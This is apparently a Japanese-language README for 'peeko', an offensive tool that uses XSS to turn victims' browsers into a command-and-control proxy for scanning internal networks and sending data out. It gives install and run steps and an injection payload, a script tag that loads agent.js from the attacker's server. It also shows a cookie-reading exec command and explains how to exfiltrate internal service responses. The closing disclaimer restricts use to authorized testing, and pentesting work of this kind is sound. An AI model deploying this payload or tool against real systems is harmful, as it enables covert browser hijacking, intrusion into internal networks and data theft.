
peeko – 感染したブラウザを介したステルスな内部ネットワーク探索のためのブラウザベースのXSS C2。
バージョン: v1.1
peeko は、被害者のブラウザを内部ネットワーク内のステルスプロキシとして利用する、ブラウザベースの XSS を利用した C2(コマンドアンドコントロール)ツールです。
注入された XSS ペイロードを通じて、peeko は中央サーバーへの WebSocket 接続を確立し、攻撃者は被害者のブラウザをリモートで制御して、内部サービスへのリクエスト送信、ネットワークスキャン、データの外部送信、さらには任意の JavaScript の実行まで可能になります。バイナリを1つも配置することなく、すべてを実現します。
.txt または .json として保存が可能なログビューアリポジトリをクローン:
git clone https://github.com/b3rito/peeko.git
cd peeko
依存関係をインストール:
make install
(任意)スクリプトを実行可能にする:
chmod +x gen-cert.sh start.sh
自己署名 TLS 証明書を生成:
make cert
SERVER-IP プレースホルダーを置き換える:
以下のファイルを開いて編集します:
static/agent.jsstatic/control.htmlSERVER-IP をサーバーの IP/ドメインに置き換えます:
wss://SERVER-IP:8443/ws → wss://192.168.30.136:8443/ws
サーバーを起動:
make run
ブラウザでコントロールパネルを開く:
https://192.168.30.136:8443/static/control.html
エージェントを注入(XSS の例):
<script src="https://192.168.30.136:8443/static/agent.js"></script>
192.168.1.0/24、10.0.0.10-20 など80、443,8000-8080)exec:... 形式を使用exec:alert(document.cookie);.txt または .json としてコピーまたはエクスポート最新のブラウザポリシーは、peeko がアクセスできる内容に影響を与えます。
| ヘッダー | コンテンツを読み取れるか? | 備考 |
|---|---|---|
Access-Control-Allow-Origin: * | ✅ | レスポンスへのフルアクセス |
| ヘッダーなし | ⚠️ | レスポンスは不透明(opaque) |
| 制限されたオリジン | ❌ | ブロックされるか読み取り不可 |
被害者は HTTPS 経由で接続します。スキャン対象が HTTP のみを使用している場合:
http:// エンドポイントから読み取ることができませんペネトレーションテスト中に、Access-Control-Allow-Origin: * で応答し、HTTPS で提供される内部サービスを見つけた場合、peeko はステルスプロキシとなり、ファイルを配置したり、外部への接続を開いたりすることなく、被害者のブラウザから直接内部データを外部送信できます。
peeko/
├── main.py → FastAPI WebSocket サーバー
├── start.sh → サーバーの起動
├── gen-cert.sh → 自己署名 TLS 証明書の生成
├── Makefile → インストール/実行ヘルパー
├── requirements.txt → Python 依存関係
├── certs/ → TLS キーと証明書がここに保存されます
└── static/ → ブラウザクライアントアセット
├── control.html → コントロールパネル(旧 attacker.html)
├── infect.html → 被害者ランディングページ
└── agent.js → 被害者エージェントスクリプト
このツールは、教育および許可されたテスト目的でのみ提供されます。
明示的な許可がある環境以外での peeko の使用は、固く禁止されています。
あなた自身の行動に対する責任はあなたにあります。
b3rito(mes3hacklab)および GioPpeTto によって作成されました。